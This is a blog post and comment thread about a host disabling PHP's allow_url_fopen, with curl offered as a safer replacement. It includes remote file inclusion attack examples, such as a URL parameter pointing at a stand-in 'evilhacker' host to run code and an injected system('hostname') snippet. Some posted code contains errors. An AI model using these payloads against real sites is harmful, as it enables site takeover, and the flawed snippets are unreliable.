As Valette noted, Dreamhost finally shut off allow_url_fopen (this is the PHP option that allows you to do stupid things like "open('http://evilhacker.com');" Oh sure, you may not intend to do that, but if you've got unassigned variables that's exactly what you're allowing folks to do).
This, undoubtedly has a great many folks in a tizzy, but needlessly so. You've got a FAR more powerful replacement readily available in PHP's implementation of the curl library. This utterly amazing chunk of software gives you total and absolute control over your back end request.
Here's an example. Let's say that like Valette, you've got some remote site you're scraping data from. In the old, nasty, evil, icky way you could do:
which would fetch the page into $buffer. But it would also hang your page for up to 30 seconds if http://example.com and God forbid they were to simply block robots and spiders from crawling their data.
Or God forbid the following:
<?php
include('http://example.com');
?>
Sure, that does get the contents of http://example.com, but it also tells your local machine to run whatever lurking evil crap may be in that page. What happens when example.com gets hacked and someone inserts a virus into the page? Bad things happen. Really bad things. Taste-testing electrical sockets, sorts of bad things. Picking up hitchhikers outside of penitentiaries and bringing them home for drinks and a gander at your collection of unlocked high power firearms, bad things.
Now, enter curl:
$curl_handle = curl_init();
// Where should we get the data?
curl_setopt ($curl_handle, CURLOPT_URL, 'http://example.com');
// This says not to dump it directly to the output stream, but instead
// have it return as a string.
curl_setopt ($curl_handle, CURLOPT_RETURNTRANSFER, 1);
// the following is optional, but you should consider setting it
// anyway. It prevents your page from hanging if the remote site is
// down.
curl_setopt ($curl_handle, CURLOPT_CONNECTTIMEOUT, 1);
// Now, YOU make the call.
$buffer = curl_exec($curl_handle);
// And tell it to shut down (when your done. You can always make more
// calls if you want.)
curl_close($curl_handle);
// This is where i'd probably do some extra checks on what i just got.
// Paranoia pays dividends.
print $buffer;
Yeah, it's a few more lines of code, but that's what subroutines are for. Thing is, there are tons of options you can set that literally control every aspect of the call, plus, it's far safer because you can only call out to a remote website explicitly. This means that when some hacker discovers an uninitialized variable that's being used inside of your code, they can't use it to load their own code and hijack your site.
(By the way, PLEASE add the following bit of code to your .htaccess file:
<ifmodule mod_php4.c>
php_flag register_globals off
</ifmodule>
This will break packages like phpNuke, and (older copies of) ATP, but that's good. It also means that the vunerabilities that those packages have are neutralized.
There, see? It's not so bad after all.
I'm not going to say "yes" because there are other attacks, but they're much, much harder to pull off. They also require some knowledge of the code you're running.
(This is where I disagree with Dreamhost about running Apache processes as myself. I want my processes running as "nobody" where they have absolutely no privledges other than the very restricted ones I provide. )
Thanks for spreading good paranoia, JR.
I agree with you on the webserver ownership.
Ok, mostly non-techie here with a question maybe someone can answer: How do I know if a software script/package I'm using for a website uses the allow_url_fopen function or not?
Thanks!
Heh, well, there's two ways. One way is to turn off allow_url_fopen and see if it breaks, and another is to read the documentation and see.
Many newer packages don't (like Wordpress and phpBB), but some older versions of phpNuke, gallery and a few others do. Your best defense is good offense. Make sure your packages are up to date.
If you want to try it for yourself, you can add the following line to your .htaccess file:
php_value allow_url_fopen 0
Oops, PHP only allows that from the internal php.ini file, something you don't have access to. Thanks to Dreamhost for pointing that out. –jr
Don't know what a .htaccess file is? Well, the next option is to go to the various package websites and ask in the support forum. If you don't get an answer in the next couple of days, assume the worst.
Thanks for the information!
Couple of questions:
Exactly which functions are affected by the "allow_url_fopen"
I'm starting to get the picture that it's get/include/fopen/read for anything with "http://" at the front. Is that close? Is it fewer? What is the full list of functions?
As for the, unassigned variables: How can an unassigned variable be hijacked by using an include/fopen/read/get? I mean malicious code is included, can't you do just about anything you want anyways including chaining more includes from other sites etc?
If this other site can be hacked (example.com), why don't the hackers just hack your site directly or is there some assumption that dreamhost sites are less hackable?
I'm not getting how it is a combination of fopen and unassigned variables that causes this hole. What's going on there? Is it that you can trick the include statement into including something else even if it's hardcoded? Unless CURL is constrained enough that you cannot actually "include" code from another site, which then doesn't provide a workaround but is still just "don't do that".
Thanks for your answers!
I had considered a PHP library site where from other php sites, files are included (as uninterpreted ".inc" files). But with fopen closed, and even with CURL, that seems impossible.
It seems reasonable to avoid this kind of system anyways… Ah well.
Sincerely,
James Bennett Saxon
According to the PHP manual, when you have allow_open_url, ANY function that can access a file, can be used to get or put data to or from some remote site. There's 76 functions listed on that page. That's why allow_open_url is so darn dangerous. All someone would have to do is use a URL "http://example.com" instead of a file name ("myfile.txt") somewhere.
As for the register_globals, let's say you have a page that displays a user's favorite saying. Inside of your page,
you've got something like @include($saying); . (The '@' sign tells PHP not to complain if it can't
find that file. You were getting that all the time, so you turned it off.) All an evil person need do is call that page with a url like "http://example.com?saying=http%3e//evilhacker.nasty/f-u.php" and suddenly he can run PHP on your site. Although that's a very simple demonstration, this is a pretty common hack. It's how a number of phpBB boards got taken down around Christmas of last year.
Yes, you're quite right that if you're very diligent, and make sure that each and every single variable is declared, you could leave register_globals on, but that's also like saying if you close and lock only your front door, nobody will ever notice your back door is wide open. Evil people will. They literally have nothing better to do. It's just safer to take away any tool they could use to break in.
Also, yes, NEVER run code live from another site, the same way that you should never ask random people to get your medicine from the drug store, or toss your car keys to a 16 year old you've never met and ask him to fill up your tank with this $50.
Seriously. Paranoia pays dividends. Be savvy, think like a bad guy. Use those survival instincts.
As a Dreamhost customer I have to disagree with you regarding to running "Apache" as myself. Running this way provides safety for private files like database passwords and other sensible files. Running as "nobody", file permissions would be shared by all users hosting on a server, what would be much unsafe, especially for novice users. If you like the idea of running as "nobody" you can emulate this by creating one or multiple unprivileged users and sharing/confining responsabilities among them.
Excellent point, I'll have to do a little research on that to see how hard it is to set up. My concern, though is that the default setting for this is to run apache as you, the effective super-user for your own site. While this does ensure that prying eyes won't discover your configuration files, it also means that apache has all the same rights as you and makes securing against it very difficult. For now, I tend to use distinct accounts with limited protections for most of my services. It's not 100% bullet proof, but it does establish some firewalls.
Still, it's something I'll need to look into. Thanks!
I've tried your code, but then I'm getting errors all the time. I still haven't been able to get it to work with curl so far… I'm using the code from your longer post, but then ever time, I get the following error…
Warning: curl_setopt(): supplied argument is not a valid cURL handle resource in /home/.kalid/jeremyyip/moliu.org/index.php on line 80
Warning: curl_setopt(): supplied argument is not a valid cURL handle resource in /home/.kalid/jeremyyip/moliu.org/index.php on line 81
Warning: curl_exec(): supplied argument is not a valid cURL handle resource in /home/.kalid/jeremyyip/moliu.org/index.php on line 82
Warning: curl_close(): supplied argument is not a valid cURL handle resource in /home/.kalid/jeremyyip/moliu.org/index.php on line 83
I found out what's wrong now. In your long post, one of your curl_handle was mistyped as curl__handle… that caused the problem…
We were usint urls pointing to the internal website to call includes. For example, the includes for nmwp.com were called from http://nmwp.com. This allowed us to use the same include code throughout the website, regardless of where the file calling the include was nested in the site. Not a remote site, but the functionality is now broken.
What can we use as a substitute for
if we want to use the same include code throughout a multilayered site? Is there a simple way to rewrite it?
Steve,
Well, I hate to say it, but you could just organize your site better.
Put your most commonly used files in a common /include directory and pull them from there. Or use PHP’s built in include_path command to specify paths where files may exist. While I understand and appreciate the idea of having flexible design, wouldn’t you still have to specify where the file happens to be?
e.g. include('http://example.com/somepath/include.php') would still have to be in your example.com/somepath directory. I can partially understand creating various hostnames to act as psuedo root directories, but that can also be accomplished by using Unix's "ln -s" command. [ "man ln" for details. ]
Yet another approach would be to use PHP defines in a file that's either commonly included or prepended
Inside that file you can define the root paths you want, e.g.
<?php
define ('HOME' , '/home/yourusername');
define ('IMAGE_DIRECTORY' , HOME . '/example.com/images/');
?>
then use it later in your code:
<?php
include_once (IMAGE_DIRECTORY . 'random_image.php');
?>
Do those help?
Heidi,
WordPress 1.5 is far more secure than previous versions, for a number of reasons. Please update regardless. It's also coded well for both disabled allow_open_furl and register_globals.
For what it's worth, I'm running Wordpress 1.5.
JR, you mention that running PHP as a CGI is safer and faster. I understand "safer" from DH's perspective, since it runs under your userid ("jrconlin") rather than the webserver's userid ("dhapache"). But I don't understand why running PHP as a CGI could possibly be faster. Sure, you don't have all of the safe_mode and open_basedir codepaths to follow, but what about the (non-trivial) overhead of fork/exec? Have you actually benchmarked it to show that the CGI is faster?
Michael,
I replied to you in more depth via email, but in a nutshell, Dreamhost is a special case. Their tech-support and customer service folks have given me more than enough reason to agree with them that running PHP as a CGI does indeed make sense and can lead to much faster operations for all of the customers sharing the common box.
For more stand-alone and better controlled environments, (like the ones at work), you and I both know that running PHP as a CGI is never going to be as fast nor as optimal as running it as an apache module. No worries about me suddenly changing things on the servers.
I'm running standard Postnuke 0.7.5.0, Gallery 1.5RC2 and PNphpBB2 on my site. PHP is running in CGI mode. Does anyone know if my software uses allow_url_fopen? (I'm a PHP-ignorant newb.)
Hi Shamus,
To be honest, I have no idea. I'm not really a big fan of PostNuke since I don't think the code is written all that well, or that securely.
I would recommend that you're subscribed to the mailing lists and that you stay up to date, which it sounds like you're doing. (Trust me, that's WAY better than most folks.)
That said, I believe that those versions should be fine when they turn off allow_url_fopen.
And, of course, you can always Yahoo answers:
php gallery allow_url_fopen "security advisory"
php pnphpbb2 allow_url_fopen "security advisory"
php postnuke allow_url_fopen "security advisory"
I'm currently running a coppermine gallery on dreamhost, now I can't upload anything and get 'permission denied' all the time. Please tell me how I can fix this. I'm too a total newbie when it comes to this.
Off hand?
Check the file permissions for the upload directory. Also, check to see if you're running apache as a cgi set to you. If both of those are correct, contact customer support at Dreamhost.
jrconline wrote:
"Put your most commonly used files in a common /include directory and pull them from there. Or use PHP’s built in include_path command to specify paths where files may exist. While I understand and appreciate the idea of having flexible design, wouldn’t you still have to specify where the file happens to be?"
thanks for the reply. we actually have all our includes in one directory at http://example.com/includes/. problem is, though, that now we can't call the includes with an absolute link. they're on the same site as the files calling them, but the url no longer works.
if i follow what you're saying, we should be able to replace http://example.com with /example.com and achieve the same result?
Steve Circeo: try using the absolute server path. It should be something like /home/username/example.com/includes/
To Steve … Valette's suggestion of using the server path is the best thing to do. Using the http:// URL include actually makes your site do another web server request for each include so it should be quicker (and is definitely nicer to the server) to use the server path instead.
hello all,
i know nothing of these things and have a very basic question: the only things i run on dreamhost are an install of wordpress 1.2.2 and invision 1.3 final forums. will either of these be affected by this "allow_url_fopen" being turned off business. i thank you in advance for any assistance.
Valette: unfortunately using the absolute path makes it more difficult to move your site from place to place. (I really miss virtual includes.) jrconlin's suggestion of putting the path into a variable solves this.
I ended up solving this for my site and another on dreamhost that I maintain using _SERVER[DOCUMENT_ROOT] in the following manner:
Whoopsie! need to specify these sorts of things with stuff like &lt;?php> …&lt;?> –jr
Hi. Can i check with you? If its include('../header.inc');, is it ok? I tried changing it to curl, but header problems keep popping out… Any suggestions??? thanks!!!
The only problem is if you use any of the file commands with a URL instead of a local path. (Think about sending things through FedEX instead of carrying them into the next room.)
You need not worry if you use local paths like 'header.inc' or '../header.inc' or even '/home/yourname/yourdomain.com/header.inc'. Those will all work fine.
Well, this is just annoying…
Like most discussion sites, my site is very database-intensive. Putting together a page with an article and a couple hundred users' comments can take several hundred database queries. So, I was using the database and fopen() as an internal caching system.
Basically, for heavy pages (like the front page) I'd break out the heaviest parts of the page into a separate file that could be include()d. Then, I added another table to the database that would store just that part of the Web page, and would only refresh it every five or ten minutes. Not the best thing in the world, but it saved database transaction time and kept my conuries down.
Since I don't really have time to learn a whole new syntax in the next six days or so, to bleep with it. Hey, they're not my database servers.
Do people *really* use fopen() against remote sites they don't control and administer? That's just crazy talk.
You last reply stated "You need not worry if you use local paths like ‘header.inc’ or ‘../header.inc’ or even ‘/home/yourname/yourdomain.com/header.inc’. Those will all work fine."
Does you mean this will be acceptable with Dreamhost, if I stay with local paths? I could use ???
Hi. Thanks for your reply! I dont quite understand what you are trying to say. It's stated in your 18 March's entry that we are not supposed to use "include()" in our code from Dreamhost, but before that I used include('header.inc'), how do i change it as not to use "include()". You stated that malicious code can be added behind the url. So what can I do? Sorry I really dont understand. Thanks so much!!! :P
Ok, just so we're all clear:
this only effects you if you do something like
include('http://example.com');
If you don't have "http://" in the title, chances are you don't have to worry.
The Dave:
Yes, yes people really do include code from remote sites. Yes it is incredibly dumb. Yes, that's the reason Dreamhost wants to stop it.
As for your caching, there are LOTS of ways to solve that, including using command line curl tied to a cron script to using ob_start and the like.
to those who suggested: To Steve … Valette’s suggestion of using the server path is the best thing to do. Using the http:// URL include actually makes your site do another web server request for each include so it should be quicker (and is definitely nicer to the server) to use the server path instead.
Thanks mucho. That's what we were looking for. We're not php programmers — just a couple of guys trying to make things easier on ourselves.
–Steve
I couldn't help but notice your reference to Mambo in you extended "PHP, Curl , and You" article. I run several Mambo sites, and even after grepping a bit through the code, I am still not sure how Dreamhost's disallowing of the allow_url_fopen setting will affect these sites (All are running Mambo 4.5.2.1b - the latest as of today). Doi you have any indication of what I might expect when the change kicks in?
Thanks for the great article….I am just dreading having to "vurl" a whole mess of code (though I guess it will help me learn more PHP!).
Regards,
Robert
From the discussion, it seems liks only allow_url_fopen was turned off. But I am not using that - I am only using fopen(…) to write to a local file. I use this to keep a text file of transactions. It recently stopped working and I was told by the support folks at Dreamhost that they turned off fopen() for security reasons and that I should look into CURL. Problem is, I don't want to open remote files or anything. I just want to write some data to a local file. Was this shut down, too? Is there still a way to do this - with CURL or without? Any advice is greatly appreciated - thanks!
Robert: Mambo is fairly well supported and robust. I've not used it directly, but I know of several folks that are quite happy with it and who are equally paranoid as I am. I believe that you shouldn't have a problem, but again, the best place to check is the user and support forums for your products.
cybohemia: Off hand, it sounds like you might have a file permissions problem, not an fopen problem. Check that the directory and the file you're trying to read are both globally readable. (Or, if you are running PHP services as a CGI, that the user running those services has read permissions.) Try contacting dreamhost support with the same information you're telling me. I've always gotten great support from them when I'm clear about what my problem is.
Wow…I just decided to go check to see what I have that uses the allow_url_fopen option. I have two things, Form1Builder and Blab's chatroom…and since I am not a coder, I am up you know what. It's not going to be turned off until tomorrow, March 29…gives me a night to find new software, install and test. I guess I should have looked sooner than now.
You mentioned here and in your expanded post that things like
<?php include('http://example.com'); ?> could allow remote php code to be run locally in your script. Fortunately, this is not true. Anything obtained this way is gotten over http, and any nasty code is run on the remote machine. All you get is plain text.
As long as you pay attention to your own wayward variables, this is actually a pretty safe and useful tool.
Ok, so I suck at closing bold tags. And I'm grateful for the curl code, it's quite cool.
No, actually, include() is not safe.
From the user comments for remote files:
… it's true that the php script will run on the remote server, if it's capable of interpreting php scripts. You can see this by creating this script on a remote machine:
<?php
echo system("hostname");
?>
Then include that in a php file on your local machine. When you view it in a browser, you'll see the hostname of the remote machine.However, that does not mean there are no security worries here. Just try replacing the previous script with this one:
<?php
echo "<?php system("hostname"); ?>";
?>
I'm guessing you can figure out what that's gonna do.So yes, remote includes can be a major security problem.
Yes, it means that the remote machine has to be malicious, but let's face it, it could be hacked, or the remote programmer could make a mistake in the code and have some random PHP buried in a comment, or even have some sample code like this page. All of it would be executed locally.
I don't know much about PHP, only the basics that I needed, so all of this is really confusing to me. I'm just trying to get from here (the old, now forbidden way):
<?include(”http://www.domain.com/include.php”) ?>
to doing whatever it is I need to do with curl to get the same result.
I pull in three includes on each page and display them in different parts. Not sure if that makes a difference (whether one curl statement pulls in all three to a buffer, then individual statements spit it out on the page when it's parsed).
Any help would be immensely appreciated.
Hi David,
Hopefully, this should be simple. As the stuff above says, if he file is local, you can just replace the "http://domain.com/include.php" with
"/home/yourid/domain.com/include.php" and get the file locally.
If the data is NOT on your local machine, then you'll need to use a Curl function similar to what I've got above.
Okay, I successfully curled all of my calls on Dreamhost now except for one. I had to jimmyrig my Trackback template in Movable Type so that it is a PHP file which includes a PHP file which includes a CGI file. I know it sounds lame, but hey, MT forces you to hack this way sometimes.
Problem is, when I use "curl" instead of "include" on the outermost PHP file, the PHP file which gets sucked in via include does not run through the PHP interpreter… so the PHP code actually appears in the final HTML source. Not good. Is there any way around this? Like maybe forcing that page to run through the PHP interpreter somehow? It's extension is not PHP.
I use the WP Plugin Manager to allow for easier installs of most plugins. After this update, I am saddened to find that is no longer the case. Seeing as you are a WP user as well, have you made a modified version of it that would use Curl by chance. Or, if you wouldn't mind pointing me in the right direction as far as getting it to work?
TIA
-DR
So my site, empathgaming.com, apparently used the allow_url_fopen function. Problem is I didn't code my site and the coder doesn't have time to mess with it. So if anyone that maybe has some spare time and wanted to help a guy out, reply to this if you can grasp what may be wrong off of the errors or let me know of a way I may can contact you so we can hopefully fix this. Thanks in advance.
I need help with the CURL Equivalent of my PHP Room Browser … I have another problem with the fgets function, please help.
How can I make this work with CURL on Dreamhost?
My source code is:
I love you. Various comments in my code now proclaim your illustrious glory and I believe there are one or two in which I offer to conceive your love children… but I am high on caffeine right now in preparation for late night coding, so pay no attention to those.
We were include(http://)'ing for ad hochery really. Our forums (IPB) are on a different subdomain and we use the SSI add-on which, if you're not familiar with it, passes variables through the query string of the included script (located on that subdomain), grabs the desired information based on the variables passed, and then echos the output. Said script has relative includes of its own so simply setting the variables before calling the include from the main site with an absolute server path wouldn't work. Thems the breaks when working with stuff you didn't build yourself, I guess.
This would have taken me hours of combing through the PHP documentation to find the solution. Hours I don't really have because I've been a bad girl playing WoW when I should have been coding.
In all seriousness, many, many thanks. We appreciate the time you put into writing this up to share with everyone! It certainly saved from delaying the launch of our site. :)
Dreamhost had me scrambling to get a few pages fixed. One bug remains, how can I make the following call using CURL?
$page = fopen($HTTP_REFERER, "rb");
If anyone can help, thanks in advance!
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,getenv('HTTP_REFERER'));
curl_setopt($ch,CURL_RETURNTRANSFER,1);
$buffer = curl_exec($ch);
curl_close($ch);
$buffer now contains the content of the referring page
That's awesome, thank you so much for the help. I'll give it a shot tonight.
I could use some simple help. I'm running a simple but unsupported plugin for wordpress that uses fopen, and I need to fix it so that it works with curl. Here, I believe, is the relevant snippit of code:
$handle = fopen ($url, "r");
$contents = "";
do
{
$data = fread ($handle, 1024);
if (preg_match ("//i", $contents, $match))
{
break;
}
else if (strlen ($data) == 0)
{
break;
}
$contents .= $data;
} while (true);
fclose ($handle);
That all comes from the source from the Amazon Media Manager. Would you mind helping me figure out how that should be rewritten for curl?
Thanks so much!
Is it true that on Dreamhost I can include() files from a domain in files in subdomains of the domain if I use the server path as in: ‘/home/yourname/yourdomain.com/header.inc’ ?
if you are assembling a query in the address, such as "http://example.com/cgi-bin/foo.cgi?"."$query" as the include (which I have to do a lot to use some legacy cgi scripts on my site, the url needs to be in double quotes. It returns nothing in single quotes.
Thank you so much for this valuable information. I'm a little stuck though, and maybe you can help. I had been using readfile() as part of a proxy script to enable a Flash movie to access rss feeds (circumventing the Macromedia security sandbox) for an rss reader. Worked flawlessly, but Dreamhost says I can't do that any more. I can't get cURL to replicate the functionality of readfile() and I don't know why not. Testing it with a simple html form, I can pass a URI to a php script using cURL instead of readfile() and have it echo what looks exactly like what it should, but when used with Flash nothing loads. I'm guessing it might have to do with headers not being set to tell Flash the data is xml, but I'm not sophisticated enough to verify that (or to kno whow to make it do that if that is in fact what the problem is). So in short - do you have any thoughts on what readfile() returns that cURL doesn't? Or the other way 'round? I have tried various combinations of curl_setopt (including none at all, BINARYTRANSFER, CURLOPT_HEADER and CURLOPT_RETURNTRANSFER) with no results. Sure would appreciate any insights.
My WordPress says it can't connect to the database and it could either be my password (unlikely because it was working fine before) or the DB is down (possible). I am just wondering if you know of any similar problems. The only thing that has changed that I know of since the last time I was able to access my site was the url_fopen being turned off. Do you think this could be causing the problem?
I'm running 1.5
This annoyed me at first. However after reading the posts, I was happy to see the example. One of my pet peeves is RSS aggregators that use fopen, open and file_get_contents amoung other things, so I had to get on board and mod our code to comply.
Thanks for the example.
Do fread and feof work with CURL, or should I look at other commands once my remote file is loaded onto a $buffer?
Thanks for any suggestions.
myke
Myke: fread, feof don't work with curl because the buffer is already loaded, (there's no stream to read or see if you're at the end of). There are a few other options using string functions, or you could use the "foreach (split())" routine. (split the $buffer on "\n", foreach exits when you run out of elements in the split buffer).
If memory is a concern, there are other options, but i'm not going to cover them here.
Hello, earlier you said that if you are not including from a different machine, you should just be able to change the path so you dont use http. I tried that and it still doesn't work. I did have the full path (http://jaggedbladesoft.com) etc, but as the file is in the same directory as the file calling it, I've removed it.
It seems odd its not working because other local includes work. The only difference is that this one sets variables ("hiscore.php?game=XENOII" etc)
Please can someone help?
Here is my current code:
@include('hiscore.php?gameID=XENOII&action=getTop&limit=50&viewmode=site&dupes=false&Submit=Submit');
I'm having the same problem that David and neil ar. I run a simple Gallery site on Dreamhost. Unfortunately this "upgrade" broke two very simple php scripts that I had in my albums.php front page, lastXupdates.php and block-random.php. These scripts are on the local server, so I tried using the absolute path like jr mentioned, but that doesn't work. I simply had:
Surely there must be a way to get this working again. Dreamhost support did not help at all, they mentioned moving to Gallery2 (beta) Ugh.
hmm, that code posting didnt work….
(Less-Than-symbol)? include ("http://www.waldchen.net/gallery/block-random.php")?(Greater-Than)
Neil,
You can't pass parameters to an include like this. Actually, you can't pass parameters to an include.
There are a couple of ways to solve this problem:
1. use curl to call the url and parse the returned results like you were (the easy way).
2. rewrite your "hiscore.php" (hiscore2.php?) to be a PHP function that takes a set of locally defined variables. (the hard way, duh). If you really want to be clever, create a wrapper highscore.php that takes those arguments and then calls the internal function.
Personally, I'd opt for option 2 since it would mean far faster page renders, but option 1 is just as valid.
Erick,
1. Make sure you have the local path right to the file. (it should look like /home/your_name_here/waldchen.net/gallery/block-random.php)
2. set error_reporting(E_ALL); at the top of the script making the include to see if there's a problem (turn it off later if you want)
3. (last resort) switch to curl and pretend you're hitting a remote site. (not a good suggestion, but something you could do.)
"You can’t pass parameters to an include like this. Actually, you can’t pass parameters to an include. "
If thats true why has it been working fine since november? And why, when I remove the parameters does it still not work?
Btw, how do I even install curl on my website. I've looked at the documentation and can't understand it at all. :-\
It worked because you were using the fopen_url aspect of include (where you specify a URL). That doesn't work anymore. So you now need to make a local file call. Since you probably don't have a file named "hiscore.php?gameID=XENOII&action=getTop&…", it's failing now.
Look, curl isn't that hard and there are plenty of examples right here that tell you how to do it.
Here try:
curl_exec(curl_init("hiscore.php?gameID=XENOII&action=getTop&limit=50&viewmode=site&dupes=false&Submit=Submit"));
That's the extreamly short hand version of what you want. It's ugly, prone to hanging, wasteful, and error-check free, just like your old "include("url);" was, but it's simple.
If you have a site on Dreamhost, curl is already installed. You can just start using the calls. If you don't, talk to your hosting provider.
Oh yeah, and take some time to learn the tools. Seriously, it's like driving around and not knowing anything about your car except what brand of gas to put in. PHP has a simple tutorial that won't take long to read and will help you enormously.
Q: How can I adapt this script? …to work with DH settings.
Thankx in advance, Arthur
Sorry if I seemd arrogant or hostile JR, I don't really know much php and I didn't write the script im using so this is all very new to me. I do use Dreamhost, so I'm sure I can go the curl route, I just didn't realise it was installed, and I didn't undertstand the official documentation.
Thanks for all your help.
If anyone uses the WordPress flickr gallery plug-in on DreamHost, I've updated the code to use libcurl instead of remote fopen(), you can grab it here:
http://www.nickbouton.com/archives/2005/04/25/updated-flickr-gallery-wordpress-plug-in/
-nick
Follow up to my post earlier - cURL and Flash get along perfectly. The cURL code JR posted here is a fast and completely seamless replacement for readfile() in my proxy application. You just have to make sure you don't spend two days attacking the wrong problem. I assumed the problem was with cURL. Turns out that assumption blinded me to the REAL problem which was that I was dealing with a movie that used GET when I assumed it was using POST. Hoo boy. Dumb little things….
Thanks JR!
In the past I used to put in the usual include
on top of the page as per dirrections found here.
http://www.weblinkalliance.com/Members/SupportLinux.asp
Sinse this is feeding a local file I was wondering if the code from you will work.
PS, I did modyfy the htacces file
——-
AddType application/x-httpd-php htm
AddType application/x-httpd-php html
php_value register_globals 0
——
Thank you in advance and here is a link to my client's site.
http://www.alaskandvd.com/
Sorry I buggered up the last post
I'm illiterate with PHP. As per request from my client on dreamhost I used the below include for a local file
Now I'm using
Since this is a local file and not an url - will this work?
Thanks
Ivan
Can anybody explain to me what all the fuss is about fopen with URL's. At the start of this thread was the example fopen("http://www.evilhacker.com"); which looks quite nasty. However what possible harm can that do? The notion that it could somehow run viruses etc contained on that site are nonsense. No hacker could get the code uploaded to your server anyway. If they are able to upload that to yor server then you have a lot more to worry about.
I do accept that there are badly written scripts that can allow in variables but these problems are solved by switching off register globals. Blocking fopen instead makes no sense.
Also how is Curl better? Surely the following code is exactly the same as fopen and is not blocked.
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, "http://evilhacker.com");
curl_exec ($curl);
curl_close ($curl);
Is it somehow assume a hacker woul dnot be clever enough to replace 1 line wth 4?
Just my two pennies worth.
Thanks
Adrian
Glad I discovered this thread via Dreamhost's Announcements. Evidently turning off fopen (allow_url_fopen) has caused a problem with at least 2 XOOPS modules so far: Stockquotes and Headlines.
I'm also using Gallery 1.5, and so was interested in comments on Gallery.
Adrian, You're kidding right?
Tell you what, here's a little experiment. Here's a file. :
First, try executing the code
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, "http://blog.unitedheroes.net/evilhacker.txt");
curl_exec ($curl);
curl_close ($curl);
Now, make a backup of your site and try executing this code:
include("http://blog.unitedheroes.net/evilhacker.txt");
That's why it's bad.
Curl doesn't execute PHP code pulled from a remote site. include() does.
PHP doesn't have a way to explicity prevent you from doing a url fopen on everything except include. In fact, there are a lot of other commands you really don't want someone sending arbitrary cruft through. The language only has the option to turn off the "handy" feature, force you to use the more explicit one and make you be more secure.
While you can probably attest to:
* Always initializing your variables
* Always explicity declaring sources for data
* Limiting global use to constant values
* etc.
can you be certain that every third party application you install is just as rigorous?
Can you be certain that the 13 year old cat-girl who runs a php*Nuke YuGiOh! slash site on the same shared server you are on is just as dilligent?
Moving to DreamHost your blog and documentation was helpful, thanks. But the PHP docs say CURLOPT_RETURNTRANSFER where your article uses CURL_RETURNTRANSFER. Does it matter?
I know I am late to this discussion but this is exactly what I needed. Also, Adrian was really asking why Fopen() was less secure than CURL. This and the extended page don't answer that question concisely. One advantage you do make clear is the usefulness of CURL timeouts, but that is more feature than security.
The reason I haven't brought it up is because it's sort of complicated.
You're quite right that (used properly) fopen isn't a security risk. It simply takes data and puts controls on it to allow you to perform various stream related functions, no execution required.
Where it gets complicated is not with the individual fopen call, but the method that PHP uses to implement that function. Internally PHP has some very clever routines that treat any data stream the same way. The problem is that in order to do this, all streams have to behave in the same way. This means that any stream based function has to behave according to that model.
Where this gets really ugly is the fact that internally, the operations to read a data stream for include() are fundementally the same as the operations for reading a data stream for fopen(). One is benign, the other decidedly not.
The simplest, fastest, and most effective fix is to disallow URLs from behaving like streams. While this does inconvenience clueful people who wish to use fopen() functions for urls, it also means that Joe Notanerd won't accidentally become a proxy for a cross site scripting attack because he never secured his fpassthru() calls.
The curl functions are there pretty much to isolate the web stream functions from normal file operations, plus, they've got a number of features that make them more appealing than standard file operations, and that's to be expected. The mediums are not the same.
I am happy to have found this post through another blog. Thanks for clear instructions inside your code.
Save This Page


So if I have
php_value register_globals Off
php_value allow_url_fopen Off
in my .htaccess, is that enough?